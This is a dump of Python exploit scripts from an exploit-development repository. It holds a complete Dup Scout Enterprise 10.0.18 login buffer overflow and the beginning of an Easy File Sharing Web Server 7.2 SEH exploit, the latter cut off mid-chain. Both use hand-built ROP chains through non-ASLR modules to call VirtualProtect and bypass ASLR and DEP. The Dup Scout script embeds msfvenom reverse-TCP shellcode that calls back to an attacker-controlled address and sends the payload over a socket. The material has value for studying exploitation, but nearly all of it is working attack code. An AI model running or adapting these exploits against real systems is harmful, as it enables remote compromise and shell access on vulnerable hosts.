196 | http_request = "GET /" + crash + "HTTP/1.1" + "\r\n"
197 | http_request += "Host: 72.16.197.2" + "\r\n"
198 | http_request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
199 | http_request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
200 | http_request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
201 | http_request += "Accept-Encoding: gzip, deflate" + "\r\n"
202 | http_request += "Connection: keep-alive" + "\r\n\r\n"
203 | 
204 | print "[+] Sending exploit..."
205 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
206 | s.connect(("172.16.197.2", 80))
207 | s.send(http_request)
208 | s.close()
209 | 


--------------------------------------------------------------------------------
/ASLR Bypass + ROP/DSE_ASLR_and_DEP_Bypass_VirtualProtect.py:
--------------------------------------------------------------------------------
  1 | # Dup Scount Enterprise 10.0.18 'Login' Remote Buffer Overflow with ASLR/DEP Bypass
  2 | # kernel32!VirtualProtect
  3 | # Author: Connor McGarr (@33y0re)
  4 | 
  5 | import socket, os, struct, sys
  6 | 
  7 | # msfvenom -p windows/shell_reverse_tcp LHOST=172.16.55.169 LPORT=443 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py -v shellcode
  8 | shellcode =  ""
  9 | shellcode += "\xda\xc6\xd9\x74\x24\xf4\xba\xd5\x6a\x13\xa8"
 10 | shellcode += "\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x13"
 11 | shellcode += "\x03\x85\x79\xf1\x5d\xd9\x96\x77\x9d\x21\x67"
 12 | shellcode += "\x18\x17\xc4\x56\x18\x43\x8d\xc9\xa8\x07\xc3"
 13 | shellcode += "\xe5\x43\x45\xf7\x7e\x21\x42\xf8\x37\x8c\xb4"
 14 | shellcode += "\x37\xc7\xbd\x85\x56\x4b\xbc\xd9\xb8\x72\x0f"
 15 | shellcode += "\x2c\xb9\xb3\x72\xdd\xeb\x6c\xf8\x70\x1b\x18"
 16 | shellcode += "\xb4\x48\x90\x52\x58\xc9\x45\x22\x5b\xf8\xd8"
 17 | shellcode += "\x38\x02\xda\xdb\xed\x3e\x53\xc3\xf2\x7b\x2d"
 18 | shellcode += "\x78\xc0\xf0\xac\xa8\x18\xf8\x03\x95\x94\x0b"
 19 | shellcode += "\x5d\xd2\x13\xf4\x28\x2a\x60\x89\x2a\xe9\x1a"
 20 | shellcode += "\x55\xbe\xe9\xbd\x1e\x18\xd5\x3c\xf2\xff\x9e"
 21 | shellcode += "\x33\xbf\x74\xf8\x57\x3e\x58\x73\x63\xcb\x5f"
 22 | shellcode += "\x53\xe5\x8f\x7b\x77\xad\x54\xe5\x2e\x0b\x3a"
 23 | shellcode += "\x1a\x30\xf4\xe3\xbe\x3b\x19\xf7\xb2\x66\x76"
 24 | shellcode += "\x34\xff\x98\x86\x52\x88\xeb\xb4\xfd\x22\x63"
 25 | shellcode += "\xf5\x76\xed\x74\xfa\xac\x49\xea\x05\x4f\xaa"
 26 | shellcode += "\x23\xc2\x1b\xfa\x5b\xe3\x23\x91\x9b\x0c\xf6"
 27 | shellcode += "\x36\xcb\xa2\xa9\xf6\xbb\x02\x1a\x9f\xd1\x8c"
 28 | shellcode += "\x45\xbf\xda\x46\xee\x2a\x21\x01\xbd\xbb\x1e"
 29 | shellcode += "\x78\xd5\xb9\x60\x7b\x9d\x37\x86\x11\xf1\x11"
 30 | shellcode += "\x11\x8e\x68\x38\xe9\x2f\x74\x96\x94\x70\xfe"
 31 | shellcode += "\x15\x69\x3e\xf7\x50\x79\xd7\xf7\x2e\x23\x7e"
 32 | shellcode += "\x07\x85\x4b\x1c\x9a\x42\x8b\x6b\x87\xdc\xdc"
 33 | shellcode += "\x3c\x79\x15\x88\xd0\x20\x8f\xae\x28\xb4\xe8"
 34 | shellcode += "\x6a\xf7\x05\xf6\x73\x7a\x31\xdc\x63\x42\xba"
 35 | shellcode += "\x58\xd7\x1a\xed\x36\x81\xdc\x47\xf9\x7b\xb7"
 36 | shellcode += "\x34\x53\xeb\x4e\x77\x64\x6d\x4f\x52\x12\x91"
 37 | shellcode += "\xfe\x0b\x63\xae\xcf\xdb\x63\xd7\x2d\x7c\x8b"
 38 | shellcode += "\x02\xf6\x8c\xc6\x0e\x5f\x05\x8f\xdb\xdd\x48"
 39 | shellcode += "\x30\x36\x21\x75\xb3\xb2\xda\x82\xab\xb7\xdf"
 40 | shellcode += "\xcf\x6b\x24\x92\x40\x1e\x4a\x01\x60\x0b"
 41 | 
 42 | # Offset to EIP = 780
 43 | crash = "\x41" * 780
 44 | 
 45 | # Return to the stack
 46 | crash += struct.pack('<L', 0x10011208)			# ret: libspp.dll (non-ASLR enabled module)
 47 | crash += struct.pack('<L', 0x90909090)			# ROP chain starts @ ESP + 4. Padding to compensate
 48 | 
 49 | # Begin ROP chain. In muts we trust.
 50 | 
 51 | # Preserve a stack address into EAX and ECX
 52 | crash += struct.pack('<L', 0x101291b1)			# pop edx ; sub al, 0x5B ; ret: libspp.dll (non-ASLR enabled module) (Load any writable address into EDX due to the future arbitrary write gadget mov dword [edx], ecx)
 53 | crash += struct.pack('<L', 0x101d5030)			# Writable address from .data section of libspp.dll (Will be manipulated to point to a return to the stack gadget)
 54 | crash += struct.pack('<L', 0x100cd67c)			# push esp ; mov dword [esi+0x04], 0x00000001 ; mov eax, esi ; pop esi ; ret: libspp.dll (non-ASLR enabled module) (Save ESP into ESI)
 55 | crash += struct.pack('<L', 0x100b1712)			# mov eax, esi ; pop esi ; ret: libspp.dll (non-ASLR enabled module) (Save ESP into EAX only)
 56 | crash += struct.pack('<L', 0x90909090)			# Compensation for pop esi
 57 | crash += struct.pack('<L', 0x1016629c)			# pop ecx ; ret: libspp.dll (non-ASLR enabled module) (Load ECX with an add esp, 0x8 ; ret gadget to compensate for future call dowrd [edx] gadget)
 58 | crash += struct.pack('<L', 0x1013acab)			# add esp, 0x04; ret: libspp.dll (non-ASLR enabled module) (Jump over call dowrd [edx]'s return address on the stack to reach next gadget after mov ecx, eax ; call dword [edx])
 59 | crash += struct.pack('<L', 0x1014c421)			# mov dword [edx], ecx ; pop ebx ; ret: libspp.dll (non-ASLR enabled module) (Use arbitrary write to load return to stack gadget, add esp 0x8 ; ret, into EDX via a pointer)
 60 | crash += struct.pack('<L', 0x90909090)			# Compensate for pop ebx in above ROP gadget
 61 | crash += struct.pack('<L', 0x10034088)			# mov ecx, eax ; call dword [edx]: libspp.dll (non-ASLR enabled module) (ESP is saved into EAX and ECX)
 62 | 
 63 | # Jump over kernel32!VirtualProtect parameter placeholders
 64 | crash += struct.pack('<L', 0x1009a181)			# add esp, 0x18 ; ret: libspp.dll (non-ASLR enabled module)
 65 | 
 66 | # kernel32!VirtualProtect parameter placeholders
 67 | crash += struct.pack('<L', 0x10168060)			# Pointer to kernel32!CreateFileA (no pointers from IAT directly to kernel32!VirtualProtect)
 68 | crash += struct.pack('<L', 0x11111111)			# Return address parameter placeholder
 69 | crash += struct.pack('<L', 0x22222222)			# lpAddress (Start of shellcode)
 70 | crash += struct.pack('<L', 0x33333333)			# dwSize (Size of shellcode)
 71 | crash += struct.pack('<L', 0x44444444)			# flNewProtect (RWX = 0x40)
 72 | crash += struct.pack('<L', 0x101d5030)			# lpflOldProtect (Any writable location- previously used writable address from arbitrary write gadget)
 73 | 
 74 | # Place shellcode location in EAX
 75 | crash += struct.pack('<L', 0x10109380)			# pop ebp ; ret: libspp.dll (non-ASLR enabled module)
 76 | crash += struct.pack('<L', 0xfffffdb0)			# Distance between EAX and shellcode location, negatively represented
 77 | crash += struct.pack('<L', 0x1014c168)			# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret: libspp.dll (non-ASLR enabled module) (Place shellcode location in EAX)
 78 | crash += struct.pack('<L', 0x90909090)			# Compensation for pop esi in above ROP gadget
 79 | crash += struct.pack('<L', 0x90909090)			# Compensation for pop ebp in above ROP gadget
 80 | crash += struct.pack('<L', 0x90909090)			# Compensation for pop ebx in above ROP gadget
 81 | 
 82 | # Point return placeholder to shellcode location (ECX currently is 0x24 bytes away from return parameter placeholder. Arbitrary write gadget writes at ECX + 0x4, where ECX contains the parameter placeholder. Placing parameter placeholder - 0x4 in ECX to compensate)
 83 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 84 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 85 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 86 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 87 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 88 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 89 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 90 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 91 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 92 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 93 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 94 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 95 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 96 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 97 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 98 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
 99 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
100 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
101 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
102 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
103 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
104 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
105 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
106 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
107 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
108 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
109 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
110 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
111 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
112 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
113 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
114 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
115 | crash += struct.pack('<L', 0x10130f1e)			# mov dword [ecx+0x04], eax ; ret: libspp.dll (non-ASLR enabled module) (Point return parameter placeholder to shellcode location)
116 | 
117 | # Point lpAddress placeholder to shellcode location (ECX currently is 0x8 bytes away from lpAddress parameter placeholder. Arbitrary write gadget writes at ECX + 0x4, where ECX contains the parameter placeholder. Placing parameter placeholder - 0x4 in ECX to compensate. Add 0x4 to ECX instead of 0x8)
118 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
119 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
120 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
121 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
122 | crash += struct.pack('<L', 0x10130f1e)			# mov dword [ecx+0x04], eax ; ret: libspp.dll (non-ASLR enabled module) (Point lpAddress parameter placeholder to shellcode location)
123 | 
124 | # Calculate dwSize and overwrite parameter placeholder (Done with shellcode address in EAX now. Shellcode will be 0x200/513 bytes) (ECX currently is 0x8 bytes away from dwSize parameter placeholder. Arbitrary write gadget writes at ECX + 0x4, where ECX contains the parameter placeholder. Placing parameter placeholder - 0x4 in ECX to compensate. Add 0x4 to ECX instead of 0x8)
125 | crash += struct.pack('<L', 0x1012b413)			# pop eax ; ret: libspp.dll (non-ASLR enabled module)
126 | crash += struct.pack('<L', 0xfffffdff)			# 0x201 negatively represented
127 | crash += struct.pack('<L', 0x10061cbd)			# neg eax ; ret: libspp.dll (non-ASLR enabled module) (Place 0x201 into EAX)
128 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
129 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
130 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
131 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
132 | crash += struct.pack('<L', 0x10130f1e)			# mov dword [ecx+0x04], eax ; ret: libspp.dll (non-ASLR enabled module) (Point dwSize parameter placeholder to value in EAx)
133 | 
134 | # Calculate flNewProtect and overwrite parameter placeholder (0x40 = RWX) (ECX currently is 0x8 bytes away from flNewProtect parameter placeholder. Arbitrary write gadget writes at ECX + 0x4, where ECX contains the parameter placeholder. Placing parameter placeholder - 0x4 in ECX to compensate. Add 0x4 to ECX instead of 0x8)
135 | crash += struct.pack('<L', 0x1012b413)			# pop eax ; ret: libspp.dll (non-ASLR enabled module)
136 | crash += struct.pack('<L', 0xffffffc0)			# 0x40 negatively represented
137 | crash += struct.pack('<L', 0x10061cbd)			# neg eax ; ret: libspp.dll (non-ASLR enabled module) (Place 0x201 into EAX)
138 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
139 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
140 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
141 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
142 | crash += struct.pack('<L', 0x10130f1e)			# mov dword [ecx+0x04], eax ; ret: libspp.dll (non-ASLR enabled module) (Point flNewProtect parameter placeholder to value in EAX)
143 | 
144 | # Extract pointer to kernel32!VirtualProtect (ECX is 0xC bytes in front of kernel32!VirtualProtect parameter placeholder)
145 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
146 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
147 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
148 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
149 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
150 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
151 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
152 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
153 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
154 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
155 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
156 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
157 | crash += struct.pack('<L', 0x1014c9a1)			# mov eax ; ecx ; ret: libspp.dll (non-ASLR enabled module) (Copy ECX into EAX. Must dereference parameter placeholder to get pointer to kernel32, while also preserving the stack address the holds the parameter placeholder for the arbitrary write gadget )
158 | crash += struct.pack('<L', 0x1014dc4c)			# mov eax, dword ptr [eax] ; ret: libspp.dll (non-ASLR enabled module) (Dereference parameter placholder to get the libspp.dll IAT entry that points to kernel32!CreateFileA)
159 | crash += struct.pack('<L', 0x1014dc4c)			# mov eax, dword ptr [eax] ; ret: libspp.dll (non-ASLR enabled modlue) (Dereference libspp.dll IAT entry to extract pointer to kernel32.dll)
160 | crash += struct.pack('<L', 0x10109380)			# pop ebp ; ret: libspp.dll (non-ASLR enabled module)
161 | crash += struct.pack('<L', 0xfffb3437)			# kernel32!CreateFileA is 0xfffb3437 away from kernel32!VirtualProtect.
162 | crash += struct.pack('<L', 0x100faa33)			# add eax, ebp ; aaa ; ret: libspp.dll (non-ASLR enabled module)
163 | crash += struct.pack('<L', 0x10109380)			# pop ebp ; ret: libspp.dll (non-ASLR enabled module)
164 | crash += struct.pack('<L', 0xffffff30)			# EAX is 0xffffff30 (negative 0xd0) away from kernel32!VirtualProtect.
165 | crash += struct.pack('<L', 0x1014c168)			# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret: libspp.dll (non-ASLR enabled module) (Place shellcode location in EAX)
166 | crash += struct.pack('<L', 0x90909090)			# Compensation for pop esi in above ROP gadget
167 | crash += struct.pack('<L', 0x90909090)			# Compensation for pop ebp in above ROP gadget
168 | crash += struct.pack('<L', 0x90909090)			# Compensation for pop ebx in above ROP gadget
169 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module) (Set ECX to kernel32!VirtualProtect parameter placeholder - 0x4)
170 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
171 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
172 | crash += struct.pack('<L', 0x100fcd73)			# dec ecx ; ret: libspp.dll (non-ASLR enabled module)
173 | crash += struct.pack('<L', 0x10130f1e)			# mov dword [ecx+0x04], eax ; ret: libspp.dll (non-ASLR enabled module) (Point kernel32!VirtualProtect parameter placeholder to kernel32!VirtualProtect)
174 | 
175 | # Place stack address that points to kernel32!VirtualProtect (kernel32!VirtualProtect parameter placeholder address) into ESP
176 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module) (ECX already pointed to the stack address - 0x4. Increasing by 0x4)
177 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
178 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
179 | crash += struct.pack('<L', 0x100e1d11)			# inc ecx ; ret: libspp.dll (non-ASLR enabled module)
180 | crash += struct.pack('<L', 0x1014c9a1)			# mov eax ; ecx ; ret: libspp.dll (non-ASLR enabled module) (Copy address into EAX)
181 | crash += struct.pack('<L', 0x10144265)			# xchg eax, esp ; ret: libspp.dll (non-ASLR enabled module) (Kick off call to kernel32!VirtualProtect)
182 | 
183 | # Arbitrary amount of NOPs
184 | crash += "\x90" * 250
185 | 
186 | # Shellcode
187 | crash += shellcode
188 | 
189 | # Make sure the application crashes
190 | crash += "\x90" * (10000 - len(crash))
191 | 
192 | evil =  "POST /login HTTP/1.1\r\n"
193 | evil += "Host: 192.168.228.140\r\n"
194 | evil += "User-Agent: Mozilla/5.0\r\n"
195 | evil += "Connection: close\r\n"
196 | evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
197 | evil += "Accept-Language: en-us,en;q=0.5\r\n"
198 | evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
199 | evil += "Keep-Alive: 300\r\n"
200 | evil += "Proxy-Connection: keep-alive\r\n"
201 | evil += "Content-Type: application/x-www-form-urlencoded\r\n"
202 | evil += "Content-Length: 17000\r\n\r\n"
203 | evil += "username=" + crash
204 | evil += "&password=" + crash + "\r\n"
205 | 
206 | print "[+] Sending exploit..."
207 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
208 | s.connect(("172.16.55.142", 80))
209 | s.send(evil)
210 | s.close()
211 | 


--------------------------------------------------------------------------------
/ASLR Bypass + ROP/EFSWS_ASLR_and_DEP_Bypass_VirtualProtect.py:
--------------------------------------------------------------------------------
  1 | # Easy File Sharing Web Server v7.2 Remote Memory Corruption (SEH, ASLR, and DEP Bypass)
  2 | # kernel32!VirtualProtect
  3 | # Author Connor McGarr (@330yre)
  4 | # https://connormcgarr.github.io
  5 | # ROP'd this badboy by hand- sorry mona.
  6 | # In muts we trust.
  7 | import sys
  8 | import os
  9 | import socket
 10 | import struct
 11 | 
 12 | # Payload
 13 | # user32!MessageBoxA shellcode
 14 | # sqlite3.dll address 0x61c023ac leaks pointer to user32!ECTabTheTextOut+0x2c7
 15 | # user32!ECTabTheTextOut+0x2c7 is 0xb2ae bytes away from user32!MessageBoxA
 16 | payload = "\xbe\xac\x23\xc0\x61"                # mov esi, 0x61c023ac (pointer to user32!ECTabTheTextOut+0x2c7)
 17 | payload += "\x8b\x36"                           # mov esi, dword ptr[esi]
 18 | payload += "\xb8\x52\x4d\xff\xff"               # mov eax, 0xffff4d52 (0xffff4d52 = 2's compliment of 0x2c7)
 19 | payload += "\x29\xc6"                           # add esi, eax (user32!MessageBoxA loaded into ESI)
 20 | payload += "\x31\xc0"                           # xor eax, eax
 21 | payload += "\x50"                               # push eax
 22 | payload += "\x68\x70\x77\x6e\x64"               # push pwnd
 23 | payload += "\x89\xe1"                           # mov ecx, esp
 24 | payload += "\x50"                               # push eax
 25 | payload += "\x68\x70\x77\x6e\x64"               # push pwnd
 26 | payload += "\x89\xe2"                           # mov edx, esp
 27 | payload += "\x50"                               # push eax
 28 | payload += "\x50"                               # push eax (NULL)
 29 | payload += "\x51"                               # push ecx (lpCaption)
 30 | payload += "\x52"                               # push edx (lpText)
 31 | payload += "\x50"                               # push eax (hWnd)
 32 | payload += "\xff\xd6\x90\x90"                   # call esi (user32!MessageBoxA)
 33 | 
 34 | # 4063 byte SEH offset
 35 | # Stack pivot lands at padding buffer to SEH at offset 2563
 36 | crash = "\x90" * 2563
 37 | print "[+] Beginning ROP chain. Wish us luck..."
 38 | 
 39 | # kernel32!VirtualProtect()
 40 | # EDI -> (ROP NOP)
 41 | # ESI -> VirtualProtect()
 42 | # EBP -> Return address (where to jump after execution)
 43 | # ESP -> lpAddress (Staring address for permissions change. Filled dynamically with current ESP value)
 44 | # EBX -> dwSize (~size of shellcode)
 45 | # EDX -> flNewProtect (desired memory page permissions...)
 46 | # ECX -> lpflOldProtect (inherits old permissions- any writeable address)
 47 | # EAX -> NOP
 48 | 
 49 | # kernel32!VirtualProtect() -> ESI
 50 | 
 51 | # sqlite3.dll, which has doesn't opt into ASLR, leaks a pointer to kernel32!BaseCreateMultiValue+0xd6
 52 | # Loading kernel32!VirtualProtect() into ESI
 53 | print "[+] Extracting leaked pointer to kernel32!BaseCreateMultiValue+0xd6 from sqlite3.dll..."
 54 | crash += struct.pack('<L', 0x10015442)		# pop eax ; ret: ImageLoad.dll (non-ASLR module)
 55 | crash += struct.pack('<L', 0x61c022c8)		# pointer to kernel32!BaseCreateMultiValue+0xd6 in sqlite3.dll (non-ASLR module)
 56 | crash += struct.pack('<L', 0x1002248c)		# mov eax, dword ptr[eax] ; ret: ImageLoad.dll (non-ASLR module)
 57 | crash += struct.pack('<L', 0x61c18d81)		# xchg eax, edi ; ret: sqlite3.dll (non-ASLR module)
 58 | 
 59 | # ESI contains 0 at this time. Adding EDI to ESI essentially "moves" EDI into ESI
 60 | crash += struct.pack('<L', 0x10021a3e)		# add esi, edi ; ret: ImageLoad.dll (non-ASLR module)
 61 | crash += struct.pack('<L', 0x61c373a4)		# pop edi ; ret: sqlite3.dll (non-ASLR module)
 62 | crash += struct.pack('<L', 0xfff7bf11)		# kernel32!VirtualProtect is 0x840ef bytes away from kernel32!BaseCreateMultiValue+0xd6 (using 2's compliment of 0x840ef to avoid null bytes)
 63 | crash += struct.pack('<L', 0x10021a3e)          # add esi, edi ; ret: ImageLoad.dll (non-ASLR module)
 64 | 
 65 | # Return address -> EBP
 66 | 
 67 | # EBP currently contains an address around the stack. Adding to EBP to point it towards our shellcode location
 68 | print "[+] Setting up return address..."
 69 | crash += struct.pack('<L', 0x10014a56)		# pop ebx ; ret: ImageLoad.dll (non-ASLR module)
 70 | crash += struct.pack('<L', 0xffffee98)		# Shellcode location will be 0x13fc bytes after EBP. Using 2's complement (0xffffec04) to avoid null bytes
 71 | crash += struct.pack('<L', 0x1001d78a)		# sub ebp, ebx ; ret: ImageLoad.dll (non-ASLR module)
 72 | 
 73 | # lpAddress -> ESP
 74 | 
 75 | # This is where kernel32!VirtualProtect() will begin making permissions changes
 76 | # Filled dynamically at runtime (we don't need to do anything with this)
 77 | 
 78 | # dwSize -> dwSize
 79 | 
 80 | # Size of shellcode
 81 | # 0x512 -> 1298 total bytes (more than enough)
 82 | print "[+] Setting up dwSize parameter..."
 83 | crash += struct.pack('<L', 0x10015442)		# pop eax ; ret: ImageLoad.dll (non-ASLR module)
 84 | crash += struct.pack('<L', 0xfffffaee)		# 0x512 (1298) negative representation
 85 | crash += struct.pack('<L', 0x100231d1)		# neg eax ; ret: ImageLoad.dll (non-ASLR module)
 86 | crash += struct.pack('<L', 0x61c62707)		# xchg eax, ebx ; ret 0x1: sqlite3.dll (non-ASLR module)
 87 | 
 88 | # flNewProtect -> EDX
 89 | 
 90 | # 0x40 = PAGE_EXECUTE_READWRITE
 91 | print "[+] Setting up flNewProtect parameter..."
 92 | crash += struct.pack('<L', 0x10022c4c)		# xor edx, edx ; ret: ImageLoad.dll (non-ASLR module)
 93 | crash += "\x41"					# Compensate for ret 0x1 in the above dwSize ROP gadget
 94 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
 95 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
 96 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
 97 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
 98 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
 99 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
100 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
101 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
102 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
103 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
104 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
105 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
106 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
107 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
108 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
109 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
110 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
111 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
112 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
113 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
114 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
115 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
116 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
